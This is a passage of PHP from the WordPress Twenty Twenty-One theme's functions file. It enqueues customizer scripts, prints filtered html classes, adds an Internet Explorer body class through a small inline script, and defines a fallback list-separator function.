wp_get_theme()->get( 'Version' ),
array( 'in_footer' => true )
);
}
add_action( 'customize_preview_init', 'twentytwentyone_customize_preview_init' );
/**
* Enqueues scripts for the customizer.
*
* @since Twenty Twenty-One 1.0
*
* @return void
*/
function twentytwentyone_customize_controls_enqueue_scripts() {
wp_enqueue_script(
'twentytwentyone-customize-helpers',
get_theme_file_uri( '/assets/js/customize-helpers.js' ),
array(),
wp_get_theme()->get( 'Version' ),
array( 'in_footer' => true )
);
}
add_action( 'customize_controls_enqueue_scripts', 'twentytwentyone_customize_controls_enqueue_scripts' );
/**
* Calculates classes for the main <html> element.
*
* @since Twenty Twenty-One 1.0
*
* @return void
*/
function twentytwentyone_the_html_classes() {
/**
* Filters the classes for the main <html> element.
*
* @since Twenty Twenty-One 1.0
*
* @param string The list of classes. Default empty string.
*/
$classes = apply_filters( 'twentytwentyone_html_classes', '' );
if ( ! $classes ) {
return;
}
echo 'class="' . esc_attr( $classes ) . '"';
}
/**
* Adds "is-IE" class to body if the user is on Internet Explorer.
*
* @since Twenty Twenty-One 1.0
*
* @return void
*/
function twentytwentyone_add_ie_class() {
$script = "
if ( -1 !== navigator.userAgent.indexOf('MSIE') || -1 !== navigator.appVersion.indexOf('Trident/') ) {
document.body.classList.add('is-IE');
}
";
$script .= '//# sourceURL=' . rawurlencode( __FUNCTION__ );
if ( function_exists( 'wp_print_inline_script_tag' ) ) {
wp_print_inline_script_tag( $script );
} else {
echo "<script>$script</script>\n";
}
}
add_action( 'wp_footer', 'twentytwentyone_add_ie_class' );
if ( ! function_exists( 'wp_get_list_item_separator' ) ) :
/**
* Retrieves the list item separator based on the locale.
*
* Added for backward compatibility to support pre-6.0.0 WordPress versions.
*
* @since 6.0.0
*/
function wp_get_list_item_separator() {
/* translators: Used between list items, there is a space after the comma. */
return __( ', ', 'twentytwentyone' );
}
endif;